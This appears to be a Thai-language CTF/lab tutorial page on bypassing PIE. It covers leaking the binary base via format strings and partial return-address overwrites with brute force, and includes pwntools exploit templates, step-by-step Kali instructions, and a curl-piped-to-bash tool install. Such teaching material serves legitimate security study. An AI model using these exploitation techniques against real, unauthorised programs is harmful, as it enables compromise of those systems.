คลัง
pwn

PIE (Position Independent Executable)

PIE (Position Independent Executable) คือ ASLR สำหรับตัว binary เอง — สุ่ม base address ของโค้ดโปรแกรมทุกครั้งที่รัน ทำให้ address ของฟังก์ชัน/gadget ในตัว binary เดาไม่ได้ บทนี้ลงลึกกลไก, การ leak base, partial overwrite (เลี่ยงการ leak), การคำนวณ, และความสัมพันธ์กับ ASLR (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

Advanced#pie#pwn#mitigation#leak#aslr#partial-overwrite#ctf

1. หลักการ — ASLR ของตัว binary

binary ที่ไม่ใช่ PIE จะโหลดที่ base คงที่ (เช่น 0x400000) ทำให้ address ของ win/gadget รู้ล่วงหน้า PIE ทำให้ base ถูกสุ่มทุก run (เหมือน ASLR แต่กับตัว binary เอง) — address ของทุกอย่างในโปรแกรมจึงเดาไม่ได้ แต่เหมือน ASLR: offset ภายใน binary คงที่ (ทั้ง binary เลื่อนเป็นก้อนเดียว) ดังนั้น leak address จริงสักตัวในตัว binary = คำนวณ PIE base ได้ แล้วได้ address ของทุก symbol/gadget ในโปรแกรม

อีกคุณสมบัติสำคัญ: PIE base ถูก align ที่ page (0x1000) เสมอ → 12 bit ล่าง (3 hex หลักท้าย) ของทุก address ไม่ถูกสุ่ม คงที่เท่า offset ใน binary ดิบ คุณสมบัตินี้เปิดทาง partial overwrite (section 4)

เนื้อหานี้เพื่อการศึกษาและฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab) เท่านั้น

2. ตรวจ PIE

checksec + ดู base ตอน runLinux
checksec ./vuln
# PIE:  PIE enabled       → base สุ่ม → ต้อง leak ก่อน
# PIE:  No PIE (0x400000) → base คงที่ → ใช้ elf.symbols ตรงๆ

# ดู base จริงตอน run (เปลี่ยนทุกครั้งถ้า PIE)
gdb ./vuln
gef> run
gef> vmmap vuln          # ดู base address ของ binary
No PIE → address จาก elf.symbols ใช้ได้เลย; PIE → ต้อง leak แล้วบวก offset

3. Leak PIE base

ต้อง leak address จริงสักตัวที่อยู่ในตัว binary แล้วลบ offset (ดิบ) ของสิ่งนั้น แหล่ง leak ที่พบบ่อย:

  • return address บน stack: มี address กลับเข้าโค้ด binary — format string %p อ่านได้
  • format string: %p ไล่หา address ที่อยู่ช่วง binary (ดู format-string)
  • uninitialized/leftover pointer: โปรแกรมพิมพ์ค่าที่มี code address
  • GOT/PLT address บน stack: ชี้กลับ binary
leak + คำนวณ PIE base (pwntools)Linux
from pwn import *
elf = context.binary = ELF('./vuln')
p = process('./vuln')

# leak address จริงในตัว binary (เช่นผ่าน format string %N$p)
p.sendline(b'%17$p')                  # ตำแหน่งที่ leak code address (หาเอง)
leak = int(p.recvline().strip(), 16)
log.info(f"leaked: {hex(leak)}")

# offset ดิบของสิ่งที่ leak (ดูจาก binary base 0 ใน gdb/objdump)
LEAK_OFFSET = 0x1234
elf.address = leak - LEAK_OFFSET     # PIE base!
log.success(f"PIE base: {hex(elf.address)}")

# ตอนนี้ symbol คำนวณ address จริงให้อัตโนมัติ
win = elf.symbols['win']
log.info(f"win @ {hex(win)}")
PIE base ต้องลงท้าย 0x000 (page-aligned) — ใช้ sanity check ว่า leak/offset ถูก

4. Partial Overwrite — เลี่ยงการ leak

เพราะ 12 bit ล่างของ address คงที่ (page-aligned) บางครั้ง ไม่ต้อง leak base เลย — แค่เขียนทับ เฉพาะ byte ท้าย ของ return address (ที่อยู่บน stack) ให้ชี้ไปฟังก์ชันอื่นที่อยู่ใน page เดียวกัน/ใกล้กัน เรียก partial overwrite

partial overwrite return addressLinux
from pwn import *
elf = context.binary = ELF('./vuln')
p = process('./vuln')

offset = 72
# return address เดิมชี้ไป main+X; win อยู่ใกล้ๆ ต่างแค่ byte ท้าย
# เขียนทับแค่ 1-2 byte ล่าง (ที่ไม่ถูกสุ่ม) ให้ชี้ win
# win = 0x...XXX (3 hex หลักท้ายคงที่)
win_low = p16(elf.symbols['win'] & 0xffff)   # 2 byte ล่างของ win

payload = b'A'*offset + win_low      # เขียนทับแค่ 2 byte ท้าย return addr
p.sendline(payload)
p.interactive()
# ถ้า bit ที่ 13-16 สุ่มไม่ตรง → brute (1/16 ต่อ nibble) วนหลายครั้ง
partial overwrite: เขียนทับ byte ท้ายที่ไม่สุ่ม; ถ้า nibble ที่ 4 สุ่ม → brute 1/16; ไม่ต้อง leak base
partial overwrite ดีมากเมื่อ leak ยาก — เขียน 1.5 byte (3 nibble ล่างคงที่ + 1 nibble สุ่ม) แล้ว brute 16 ครั้ง มักได้ภายในไม่กี่วินาที

5. PIE vs ASLR — แยกให้ชัด

PIEASLR
สุ่มอะไรbase ของตัว binary (.text)base ของ libc/stack/heap
กระทบwin/gadget ในโปรแกรมsystem/gadget ใน libc
leak อะไรcode address ในตัว binarylibc address (เช่น puts@got)
คำนวณelf.address = leak - offsetlibc.address = leak - sym
ปิดได้แยกcompile -no-pie/proc/sys/kernel/randomize_va_space

ทั้งสองมักเปิดพร้อมกัน — ถ้าต้องใช้ทั้ง gadget ในตัว binary และ libc อาจต้อง leak สองครั้ง (leak code → PIE base, leak libc → libc base) ดูหัวข้อ ASLR ประกอบ

6. Quick Reference

  • PIE = ASLR สำหรับตัว binary (base สุ่ม); offset ภายในคงที่
  • เช็ค: checksec (PIE enabled?); gef vmmap ดู base
  • leak code address → elf.address = leak - offset_ดิบ
  • PIE base ลงท้าย 0x000 (page-aligned) = sanity check
  • partial overwrite: เขียน byte ท้าย return addr (ไม่ต้อง leak) + brute nibble
  • PIE สุ่ม binary, ASLR สุ่ม libc — อาจ leak 2 ครั้ง

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ checksec บอกว่า PIE enabled และ address ของ win/gadget เปลี่ยนทุกครั้งที่รัน — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อ leak base หรือเลี่ยงการ leak

  1. 1ยืนยัน: checksec ./vuln ดูบรรทัด PIE
  2. 2รันซ้ำหลายครั้งดู base เปลี่ยนจริงไหม: gdb ./vuln แล้ว gef> run, gef> vmmap vuln
  3. 3หา offset ดิบของ symbol ที่สนใจตอน base=0 (ใช้ objdump -d ./vuln หรือ ghidra ดู address ในไฟล์)
  4. 4หาช่องทาง leak: มี format string ไหม? มี pointer หลุดออกมาทาง stdout ไหม?
  5. 5ถ้ามีช่องโหว่ leak (เช่น %p) ใช้ leak address ที่อยู่ในช่วง binary (ไม่ใช่ libc/stack)
  6. 6คำนวณ base: elf.address = leak - LEAK_OFFSET แล้วเช็คว่าลงท้าย 0x000 (sanity check)
  7. 7ถ้าไม่มีช่องทาง leak เลย ให้พิจารณา partial overwrite: เขียนทับแค่ byte ท้ายของ return address
  8. 8partial overwrite: p16(elf.symbols['win'] & 0xffff) เขียนทับ 2 byte ท้ายของ return addr เดิม
  9. 9ถ้า nibble ที่ 4 ยังสุ่ม (1/16) ให้ brute-force วนยิงซ้ำจนกว่าจะสำเร็จ (script loop ด้วย pwntools)
  10. 10หลัง base คำนวณได้แล้ว ไปต่อ exploit ปกติ (ret2win/ROP/ret2libc)
จับมือทำ: PIE — leak หรือ partial overwrite
checksec ดู PIE
❌ No PIE→ address คงที่ ใช้ elf.symbols ตรงๆ ได้เลย
✅ PIE enabled→ ต้อง leak หรือ partial overwrite
มีช่องทาง leak code address ไหม (format string/pointer หลุด)
✅ มี format string→ leak แล้วคำนวณ base
❌ ไม่มีช่องทาง leak เลย→ ลอง partial overwrite แทน
เขียนทับแค่ byte ท้ายของ return address
✅ ได้ผลทันที (nibble ตรง)→ ไป exploit ต่อ (ret2win/ROP)
❌ nibble สุ่มไม่ตรง (1/16)→ brute-force วนยิงซ้ำ
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ตรวจ PIEchecksec--
ดู base ตอนรันจริงgdb + gef/pwndbgbash -c "$(curl -fsSL https://gef.blah.cat/sh)"-
หา offset ดิบของ symbolobjdump -d, Ghidra-dogbolt.org, godbolt.org
เขียน exploit + brute looppwntoolspip install pwntools-
ดูโครงสร้าง ELF headerreadelf -h--
แปลง/คำนวณ address hexpython3-CyberChef
🚑 ถ้าตันสนิท ลองท่าถัดไป: (1) format-string — ถ้ายังไม่มีช่องทาง leak ให้หา printf(user_input) ในโปรแกรม (2) aslr — ถ้า libc ก็สุ่มด้วย ต้อง leak ซ้ำอีกรอบ (3) buffer-overflow/stack-overflow — กลับไปดูว่าคุม return address ได้จริงหรือยังก่อนคิดเรื่อง PIE (4) rop — หลัง leak/คำนวณ base ได้แล้ว ไปสร้าง chain ต่อ

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้